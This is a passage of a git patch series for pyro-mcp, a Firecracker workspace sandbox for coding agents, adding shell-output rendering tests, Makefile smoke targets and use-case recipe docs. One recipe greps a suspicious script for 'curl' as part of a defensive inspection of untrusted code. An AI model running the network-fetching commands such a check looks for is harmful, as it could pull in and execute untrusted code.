def fake_read_shell(*args: Any, **kwargs: Any) -> dict[str, Any]: + del args, kwargs + return payloads.pop(0) + + monotonic_values = iter([0.0, 0.05, 0.10, 0.41]) + monkeypatch.setattr(manager._backend, "read_shell", fake_read_shell) # noqa: SLF001 + monkeypatch.setattr(time, "monotonic", lambda: next(monotonic_values)) + monkeypatch.setattr(time, "sleep", lambda _: None) + + read = manager.read_shell( + workspace_id, + shell_id, + cursor=0, + max_chars=1024, + wait_for_idle_ms=300, + ) + + assert read["output"] == "one\ntwo\n" + assert read["next_cursor"] == 8 + assert read["wait_for_idle_ms"] == 300 + assert read["plain"] is False + + def test_workspace_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: archive_path = tmp_path / "bad.tgz" with tarfile.open(archive_path, "w:gz") as archive: @@ -3092,6 +3230,24 @@ def test_workspace_stop_and_start_preserve_logs_and_clear_live_state(tmp_path: P assert rerun["stdout"] == "hello from seed\n" +def test_workspace_read_shell_rejects_invalid_wait_for_idle_ms(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + opened = manager.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + + with pytest.raises(ValueError, match="wait_for_idle_ms must be between 1 and 10000"): + manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=1024, wait_for_idle_ms=0) + + def test_workspace_stop_flushes_guest_filesystem_before_stopping( tmp_path: Path, ) -> None: diff --git a/tests/test_workspace_shell_output.py b/tests/test_workspace_shell_output.py new file mode 100644 index 0000000..c11756d --- /dev/null +++ b/tests/test_workspace_shell_output.py @@ -0,0 +1,36 @@ +from __future__ import annotations + +from pyro_mcp.workspace_shell_output import render_plain_shell_output + + +def test_render_plain_shell_output_strips_ansi_osc_and_controls() -> None: + raw = "\x1b]0;title\x07\x1b[31mred\x1b[0m\t\x01done" + assert render_plain_shell_output(raw) == "red\tdone" + + +def test_render_plain_shell_output_handles_carriage_return_and_backspace() -> None: + raw = "hello\r\x1b[2Kbye\nabc\b\bZ" + assert render_plain_shell_output(raw) == "bye\naZ" + + +def test_render_plain_shell_output_preserves_trailing_newlines() -> None: + assert render_plain_shell_output("line one\n") == "line one\n" + assert render_plain_shell_output("\n") == "\n" + + +def test_render_plain_shell_output_handles_line_clear_modes_and_overwrite() -> None: + assert render_plain_shell_output("abcde\rab\x1b[1KZ") == " Zde" + assert render_plain_shell_output("hello\x1b[2Kx") == "x" + + +def test_render_plain_shell_output_handles_full_screen_clear() -> None: + assert render_plain_shell_output("one\ntwo\x1b[2Jz") == "z" + assert render_plain_shell_output("one\ntwo\x1b[3Jz") == "z" + + +def test_render_plain_shell_output_ignores_incomplete_and_non_csi_escape_sequences() -> None: + assert render_plain_shell_output("\x1b") == "" + assert render_plain_shell_output("\x1b[") == "" + assert render_plain_shell_output("\x1b]title\x1b\\ok") == "ok" + assert render_plain_shell_output("a\x1bOPb") == "ab" + assert render_plain_shell_output("a\x1bXb") == "ab" diff --git a/uv.lock b/uv.lock index 209a741..383d764 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.4.0" +version = "3.5.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 894706af50e0a5ed016df9d7962d244cc0b6ccc2 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 10:27:38 -0300 Subject: [PATCH 30/49] Add use-case recipes and smoke packs Turn the stable workspace surface into five documented, runnable stories with a shared guest-backed smoke runner, new docs/use-cases recipes, and Make targets for cold-start validation, repro/fix loops, parallel workspaces, untrusted inspection, and review/eval workflows. Bump the package and catalog surface to 3.6.0, update the main docs to point users from the stable workspace walkthrough into the recipe index and smoke packs, and mark the 3.6.0 roadmap milestone done. Fix a regression uncovered by the real parallel-workspaces smoke: workspace_file_read must not bump last_activity_at. Verified with uv lock, UV_CACHE_DIR=.uv-cache make check, UV_CACHE_DIR=.uv-cache make dist-check, and USE_CASE_ENVIRONMENT=debian:12 UV_CACHE_DIR=.uv-cache make smoke-use-cases. --- CHANGELOG.md | 10 + Makefile | 28 +- README.md | 14 +- docs/first-run.md | 8 +- docs/install.md | 9 +- docs/integrations.md | 3 + docs/roadmap/llm-chat-ergonomics.md | 7 +- .../3.6.0-use-case-recipes-and-smoke-packs.md | 2 +- docs/use-cases/README.md | 31 ++ docs/use-cases/cold-start-repo-validation.md | 38 ++ docs/use-cases/parallel-workspaces.md | 43 ++ docs/use-cases/repro-fix-loop.md | 42 ++ docs/use-cases/review-eval-workflows.md | 41 ++ docs/use-cases/untrusted-inspection.md | 34 ++ pyproject.toml | 2 +- scripts/workspace_use_case_smoke.py | 8 + src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 1 - src/pyro_mcp/workspace_use_case_smokes.py | 487 +++++++++++++++++ tests/test_vm_manager.py | 5 + tests/test_workspace_use_case_smokes.py | 509 ++++++++++++++++++ uv.lock | 2 +- 22 files changed, 1310 insertions(+), 16 deletions(-) create mode 100644 docs/use-cases/README.md create mode 100644 docs/use-cases/cold-start-repo-validation.md create mode 100644 docs/use-cases/parallel-workspaces.md create mode 100644 docs/use-cases/repro-fix-loop.md create mode 100644 docs/use-cases/review-eval-workflows.md create mode 100644 docs/use-cases/untrusted-inspection.md create mode 100644 scripts/workspace_use_case_smoke.py create mode 100644 src/pyro_mcp/workspace_use_case_smokes.py create mode 100644 tests/test_workspace_use_case_smokes.py diff --git a/CHANGELOG.md b/CHANGELOG.md index e641fc9..dbca7a1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.6.0 + +- Added `docs/use-cases/` with five concrete workspace recipes for cold-start validation, + repro-plus-fix loops, parallel workspaces, untrusted inspection, and review/eval workflows. +- Added real guest-backed smoke packs for those stories with `make smoke-use-cases` plus one + `make smoke-...` target per scenario, all backed by the shared + `scripts/workspace_use_case_smoke.py` runner. +- Updated the main docs so the stable workspace walkthrough now points directly at the recipe set + and the smoke packs as the next step after first-run validation. + ## 3.5.0 - Added chat-friendly shell reads with `--plain` and `--wait-for-idle-ms` across the CLI, diff --git a/Makefile b/Makefile index c1ccc4b..1b8ffa1 100644 --- a/Makefile +++ b/Makefile @@ -14,8 +14,10 @@ RUNTIME_ENVIRONMENTS ?= debian:12-base debian:12 debian:12-build PYPI_DIST_DIR ?= dist TWINE_USERNAME ?= __token__ PYPI_REPOSITORY_URL ?= +USE_CASE_ENVIRONMENT ?= debian:12 +USE_CASE_SMOKE_FLAGS ?= -.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check +.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks smoke-use-cases smoke-cold-start-validation smoke-repro-fix-loop smoke-parallel-workspaces smoke-untrusted-inspection smoke-review-eval runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check help: @printf '%s\n' \ @@ -32,6 +34,12 @@ help: ' demo Run the deterministic VM demo' \ ' network-demo Run the deterministic VM demo with guest networking enabled' \ ' doctor Show runtime and host diagnostics' \ + ' smoke-use-cases Run all real guest-backed workspace use-case smokes' \ + ' smoke-cold-start-validation Run the cold-start repo validation smoke' \ + ' smoke-repro-fix-loop Run the repro-plus-fix loop smoke' \ + ' smoke-parallel-workspaces Run the parallel isolated workspaces smoke' \ + ' smoke-untrusted-inspection Run the unsafe or untrusted inspection smoke' \ + ' smoke-review-eval Run the review and evaluation workflow smoke' \ ' ollama-demo Run the network-enabled Ollama lifecycle demo' \ ' run-server Run the MCP server' \ ' install-hooks Install pre-commit hooks' \ @@ -104,6 +112,24 @@ network-demo: doctor: uv run pyro doctor +smoke-use-cases: + uv run python scripts/workspace_use_case_smoke.py --scenario all --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-cold-start-validation: + uv run python scripts/workspace_use_case_smoke.py --scenario cold-start-validation --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-repro-fix-loop: + uv run python scripts/workspace_use_case_smoke.py --scenario repro-fix-loop --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-parallel-workspaces: + uv run python scripts/workspace_use_case_smoke.py --scenario parallel-workspaces --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-untrusted-inspection: + uv run python scripts/workspace_use_case_smoke.py --scenario untrusted-inspection --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-review-eval: + uv run python scripts/workspace_use_case_smoke.py --scenario review-eval --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + ollama: ollama-demo ollama-demo: diff --git a/README.md b/README.md index 7b56dad..40e310f 100644 --- a/README.md +++ b/README.md @@ -18,11 +18,12 @@ It exposes the same runtime in three public forms: - Vision: [docs/vision.md](docs/vision.md) - Workspace GA roadmap: [docs/roadmap/task-workspace-ga.md](docs/roadmap/task-workspace-ga.md) - LLM chat roadmap: [docs/roadmap/llm-chat-ergonomics.md](docs/roadmap/llm-chat-ergonomics.md) +- Use-case recipes: [docs/use-cases/README.md](docs/use-cases/README.md) - First run transcript: [docs/first-run.md](docs/first-run.md) - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.5.0: [CHANGELOG.md#350](CHANGELOG.md#350) +- What's new in 3.6.0: [CHANGELOG.md#360](CHANGELOG.md#360) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -59,7 +60,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.5.0 +Catalog version: 3.6.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -81,6 +82,11 @@ access to `registry-1.docker.io`, and needs local cache space for the guest imag agent needs one sandbox to stay alive across repeated commands, shells, services, checkpoints, diffs, exports, and reset. +After that stable walkthrough works, continue with the recipe set in +[docs/use-cases/README.md](docs/use-cases/README.md). It packages the five core workspace stories +into documented flows plus real guest-backed smoke targets such as `make smoke-use-cases` and +`make smoke-repro-fix-loop`. + The commands below use plain `pyro ...`. Run the same flow with `uvx --from pyro-mcp pyro ...` for the published package, or `uv run pyro ...` from a source checkout. @@ -189,7 +195,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.5.0 +Catalog version: 3.6.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -305,7 +311,7 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.5.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.6.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/first-run.md b/docs/first-run.md index d943ed4..839740e 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.5.0 +Catalog version: 3.6.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -121,6 +121,10 @@ $ uvx --from pyro-mcp pyro mcp serve --profile workspace-core `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end to end. +Once that stable workspace flow works, continue with the five recipe docs in +[use-cases/README.md](use-cases/README.md) or run the real guest-backed smoke packs directly with +`make smoke-use-cases`. + When you need repeated commands in one sandbox, switch to `pyro workspace ...`: ```bash @@ -252,7 +256,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.5.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.6.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index 2e168b0..0327eac 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.5.0 +Catalog version: 3.6.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -167,6 +167,11 @@ This is the stable persistent-workspace contract: - `workspace export` copies results back to the host - `workspace stop|start` and `workspace disk *` add secondary stopped-workspace inspection and raw ext4 export +When that stable workspace path is working, continue with the recipe index at +[use-cases/README.md](use-cases/README.md). It groups the five core workspace stories and the +real smoke targets behind them, starting with `make smoke-use-cases` or one of the per-scenario +targets such as `make smoke-repro-fix-loop`. + ## 6. Optional demo proof point ```bash @@ -274,7 +279,7 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.5.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.6.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/integrations.md b/docs/integrations.md index b25ab3c..22da086 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -43,6 +43,7 @@ Canonical example: - [examples/openai_responses_vm_run.py](../examples/openai_responses_vm_run.py) - [examples/openai_responses_workspace_core.py](../examples/openai_responses_workspace_core.py) +- [docs/use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md) ## MCP Clients @@ -67,6 +68,7 @@ Starter config: - [examples/mcp_client_config.md](../examples/mcp_client_config.md) - [examples/claude_desktop_mcp_config.json](../examples/claude_desktop_mcp_config.json) - [examples/cursor_mcp_config.json](../examples/cursor_mcp_config.json) +- [docs/use-cases/README.md](use-cases/README.md) ## Direct Python SDK @@ -123,6 +125,7 @@ Examples: - [examples/python_lifecycle.py](../examples/python_lifecycle.py) - [examples/python_workspace.py](../examples/python_workspace.py) - [examples/python_shell.py](../examples/python_shell.py) +- [docs/use-cases/README.md](use-cases/README.md) ## Agent Framework Wrappers diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 3277df2..6725c3c 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.5.0`: +Current baseline is `3.6.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -49,7 +49,7 @@ More concretely, the model should not need to: 2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done 3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done 4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done -5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) +5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done Completed so far: @@ -63,6 +63,9 @@ Completed so far: narrow and widen only when needed. - `3.5.0` added chat-friendly shell reads with plain-text rendering and idle batching so PTY sessions are readable enough to feed directly back into a chat model. +- `3.6.0` added recipe docs and real guest-backed smoke packs for the five core workspace use + cases so the stable product is now demonstrated as repeatable end-to-end stories instead of + only isolated feature surfaces. ## Expected Outcome diff --git a/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md b/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md index a174528..ce213a1 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md +++ b/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md @@ -1,6 +1,6 @@ # `3.6.0` Use-Case Recipes And Smoke Packs -Status: Planned +Status: Done ## Goal diff --git a/docs/use-cases/README.md b/docs/use-cases/README.md new file mode 100644 index 0000000..0ce0035 --- /dev/null +++ b/docs/use-cases/README.md @@ -0,0 +1,31 @@ +# Workspace Use-Case Recipes + +These recipes turn the stable workspace surface into five concrete agent flows. +They are the canonical next step after the quickstart in [install.md](../install.md) +or [first-run.md](../first-run.md). + +Run all real guest-backed scenarios locally with: + +```bash +make smoke-use-cases +``` + +Recipe matrix: + +| Use case | Recommended profile | Smoke target | Recipe | +| --- | --- | --- | --- | +| Cold-start repo validation | `workspace-full` | `make smoke-cold-start-validation` | [cold-start-repo-validation.md](cold-start-repo-validation.md) | +| Repro plus fix loop | `workspace-core` | `make smoke-repro-fix-loop` | [repro-fix-loop.md](repro-fix-loop.md) | +| Parallel isolated workspaces | `workspace-core` | `make smoke-parallel-workspaces` | [parallel-workspaces.md](parallel-workspaces.md) | +| Unsafe or untrusted code inspection | `workspace-core` | `make smoke-untrusted-inspection` | [untrusted-inspection.md](untrusted-inspection.md) | +| Review and evaluation workflows | `workspace-full` | `make smoke-review-eval` | [review-eval-workflows.md](review-eval-workflows.md) | + +All five recipes use the same real Firecracker-backed smoke runner: + +```bash +uv run python scripts/workspace_use_case_smoke.py --scenario all --environment debian:12 +``` + +That runner generates its own host fixtures, creates real guest-backed workspaces, +verifies the intended flow, exports one concrete result when relevant, and cleans +up on both success and failure. diff --git a/docs/use-cases/cold-start-repo-validation.md b/docs/use-cases/cold-start-repo-validation.md new file mode 100644 index 0000000..f856906 --- /dev/null +++ b/docs/use-cases/cold-start-repo-validation.md @@ -0,0 +1,38 @@ +# Cold-Start Repo Validation + +Recommended profile: `workspace-full` + +Smoke target: + +```bash +make smoke-cold-start-validation +``` + +Use this flow when an agent needs to treat a fresh repo like a new user would: +seed it into a workspace, run the validation script, keep one long-running +process alive, probe it from another command, and export a validation report. + +Canonical SDK flow: + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +created = pyro.create_workspace(environment="debian:12", seed_path="./repo") +workspace_id = str(created["workspace_id"]) + +pyro.exec_workspace(workspace_id, command="sh validate.sh") +pyro.start_service( + workspace_id, + "app", + command="sh serve.sh", + readiness={"type": "file", "path": ".app-ready"}, +) +pyro.exec_workspace(workspace_id, command="sh -lc 'test -f .app-ready && cat service-state.txt'") +pyro.export_workspace(workspace_id, "validation-report.txt", output_path="./validation-report.txt") +pyro.delete_workspace(workspace_id) +``` + +This recipe is intentionally guest-local and deterministic. It proves startup, +service readiness, validation, and host-out report capture without depending on +external networks or private registries. diff --git a/docs/use-cases/parallel-workspaces.md b/docs/use-cases/parallel-workspaces.md new file mode 100644 index 0000000..ddc29b7 --- /dev/null +++ b/docs/use-cases/parallel-workspaces.md @@ -0,0 +1,43 @@ +# Parallel Isolated Workspaces + +Recommended profile: `workspace-core` + +Smoke target: + +```bash +make smoke-parallel-workspaces +``` + +Use this flow when the agent needs one isolated workspace per issue, branch, or +review thread and must rediscover the right one later. + +Canonical SDK flow: + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +alpha = pyro.create_workspace( + environment="debian:12", + seed_path="./repo", + name="parallel-alpha", + labels={"branch": "alpha", "issue": "123"}, +) +beta = pyro.create_workspace( + environment="debian:12", + seed_path="./repo", + name="parallel-beta", + labels={"branch": "beta", "issue": "456"}, +) + +pyro.write_workspace_file(alpha["workspace_id"], "branch.txt", text="alpha\n") +pyro.write_workspace_file(beta["workspace_id"], "branch.txt", text="beta\n") +pyro.update_workspace(alpha["workspace_id"], labels={"branch": "alpha", "owner": "alice"}) +pyro.list_workspaces() +pyro.delete_workspace(alpha["workspace_id"]) +pyro.delete_workspace(beta["workspace_id"]) +``` + +The important proof here is operational, not syntactic: names, labels, list +ordering, and file contents stay isolated even when multiple workspaces are +active at the same time. diff --git a/docs/use-cases/repro-fix-loop.md b/docs/use-cases/repro-fix-loop.md new file mode 100644 index 0000000..f302974 --- /dev/null +++ b/docs/use-cases/repro-fix-loop.md @@ -0,0 +1,42 @@ +# Repro Plus Fix Loop + +Recommended profile: `workspace-core` + +Smoke target: + +```bash +make smoke-repro-fix-loop +``` + +Use this flow when the agent has to reproduce a bug, patch files without shell +quoting tricks, rerun the failing command, diff the result, export the fix, and +reset back to baseline. + +Canonical SDK flow: + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +created = pyro.create_workspace(environment="debian:12", seed_path="./broken-repro") +workspace_id = str(created["workspace_id"]) + +pyro.exec_workspace(workspace_id, command="sh check.sh") +pyro.read_workspace_file(workspace_id, "message.txt") +pyro.apply_workspace_patch( + workspace_id, + patch="--- a/message.txt\n+++ b/message.txt\n@@ -1 +1 @@\n-broken\n+fixed\n", +) +pyro.exec_workspace(workspace_id, command="sh check.sh") +pyro.diff_workspace(workspace_id) +pyro.export_workspace(workspace_id, "message.txt", output_path="./message.txt") +pyro.reset_workspace(workspace_id) +pyro.delete_workspace(workspace_id) +``` + +Canonical MCP/chat example: + +- [examples/openai_responses_workspace_core.py](../../examples/openai_responses_workspace_core.py) + +This is the main `workspace-core` story: model-native file ops, repeatable exec, +structured diff, explicit export, and reset-over-repair. diff --git a/docs/use-cases/review-eval-workflows.md b/docs/use-cases/review-eval-workflows.md new file mode 100644 index 0000000..eabe981 --- /dev/null +++ b/docs/use-cases/review-eval-workflows.md @@ -0,0 +1,41 @@ +# Review And Evaluation Workflows + +Recommended profile: `workspace-full` + +Smoke target: + +```bash +make smoke-review-eval +``` + +Use this flow when an agent needs to read a checklist interactively, run an +evaluation script, checkpoint or reset its changes, and export the final report. + +Canonical SDK flow: + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +created = pyro.create_workspace(environment="debian:12", seed_path="./review-fixture") +workspace_id = str(created["workspace_id"]) + +pyro.create_snapshot(workspace_id, "pre-review") +shell = pyro.open_shell(workspace_id) +pyro.write_shell(workspace_id, shell["shell_id"], input="cat CHECKLIST.md") +pyro.read_shell( + workspace_id, + shell["shell_id"], + plain=True, + wait_for_idle_ms=300, +) +pyro.close_shell(workspace_id, shell["shell_id"]) +pyro.exec_workspace(workspace_id, command="sh review.sh") +pyro.export_workspace(workspace_id, "review-report.txt", output_path="./review-report.txt") +pyro.reset_workspace(workspace_id, snapshot="pre-review") +pyro.delete_workspace(workspace_id) +``` + +This is the stable shell-facing story: readable PTY output for chat loops, +checkpointed evaluation, explicit export, and reset when a review branch goes +sideways. diff --git a/docs/use-cases/untrusted-inspection.md b/docs/use-cases/untrusted-inspection.md new file mode 100644 index 0000000..a089faa --- /dev/null +++ b/docs/use-cases/untrusted-inspection.md @@ -0,0 +1,34 @@ +# Unsafe Or Untrusted Code Inspection + +Recommended profile: `workspace-core` + +Smoke target: + +```bash +make smoke-untrusted-inspection +``` + +Use this flow when the agent needs to inspect suspicious code or an unfamiliar +repo without granting more capabilities than necessary. + +Canonical SDK flow: + +```python +from pyro_mcp import Pyro + +pyro = Pyro() +created = pyro.create_workspace(environment="debian:12", seed_path="./suspicious-repo") +workspace_id = str(created["workspace_id"]) + +pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) +pyro.read_workspace_file(workspace_id, "suspicious.sh") +pyro.exec_workspace( + workspace_id, + command="sh -lc \"grep -n 'curl' suspicious.sh > inspection-report.txt\"", +) +pyro.export_workspace(workspace_id, "inspection-report.txt", output_path="./inspection-report.txt") +pyro.delete_workspace(workspace_id) +``` + +This recipe stays offline-by-default, uses only explicit file reads and execs, +and exports only the inspection report the agent chose to materialize. diff --git a/pyproject.toml b/pyproject.toml index 104eb17..235df24 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.5.0" +version = "3.6.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/scripts/workspace_use_case_smoke.py b/scripts/workspace_use_case_smoke.py new file mode 100644 index 0000000..c35de79 --- /dev/null +++ b/scripts/workspace_use_case_smoke.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python3 + +"""Run the real guest-backed workspace use-case smoke scenarios.""" + +from pyro_mcp.workspace_use_case_smokes import main + +if __name__ == "__main__": + main() diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index b93c969..1616b6b 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.5.0" +DEFAULT_CATALOG_VERSION = "3.6.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 9bb41b0..eb90462 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -4108,7 +4108,6 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) - self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) return { "workspace_id": workspace_id, diff --git a/src/pyro_mcp/workspace_use_case_smokes.py b/src/pyro_mcp/workspace_use_case_smokes.py new file mode 100644 index 0000000..8513dce --- /dev/null +++ b/src/pyro_mcp/workspace_use_case_smokes.py @@ -0,0 +1,487 @@ +"""Canonical workspace use-case recipes and smoke scenarios.""" + +from __future__ import annotations + +import argparse +import tempfile +import time +from dataclasses import dataclass +from pathlib import Path +from typing import Callable, Final, Literal + +from pyro_mcp.api import Pyro + +DEFAULT_USE_CASE_ENVIRONMENT: Final[str] = "debian:12" +USE_CASE_SUITE_LABEL: Final[str] = "workspace-use-case-smoke" +USE_CASE_SCENARIOS: Final[tuple[str, ...]] = ( + "cold-start-validation", + "repro-fix-loop", + "parallel-workspaces", + "untrusted-inspection", + "review-eval", +) +USE_CASE_ALL_SCENARIO: Final[str] = "all" +USE_CASE_CHOICES: Final[tuple[str, ...]] = USE_CASE_SCENARIOS + (USE_CASE_ALL_SCENARIO,) + + +@dataclass(frozen=True) +class WorkspaceUseCaseRecipe: + scenario: str + title: str + profile: Literal["workspace-core", "workspace-full"] + smoke_target: str + doc_path: str + summary: str + + +WORKSPACE_USE_CASE_RECIPES: Final[tuple[WorkspaceUseCaseRecipe, ...]] = ( + WorkspaceUseCaseRecipe( + scenario="cold-start-validation", + title="Cold-Start Repo Validation", + profile="workspace-full", + smoke_target="smoke-cold-start-validation", + doc_path="docs/use-cases/cold-start-repo-validation.md", + summary=( + "Seed a small repo, validate it, run one long-lived service, probe it, " + "and export a report." + ), + ), + WorkspaceUseCaseRecipe( + scenario="repro-fix-loop", + title="Repro Plus Fix Loop", + profile="workspace-core", + smoke_target="smoke-repro-fix-loop", + doc_path="docs/use-cases/repro-fix-loop.md", + summary=( + "Reproduce a failure, patch it with model-native file ops, rerun, diff, " + "export, and reset." + ), + ), + WorkspaceUseCaseRecipe( + scenario="parallel-workspaces", + title="Parallel Isolated Workspaces", + profile="workspace-core", + smoke_target="smoke-parallel-workspaces", + doc_path="docs/use-cases/parallel-workspaces.md", + summary=( + "Create and manage multiple named 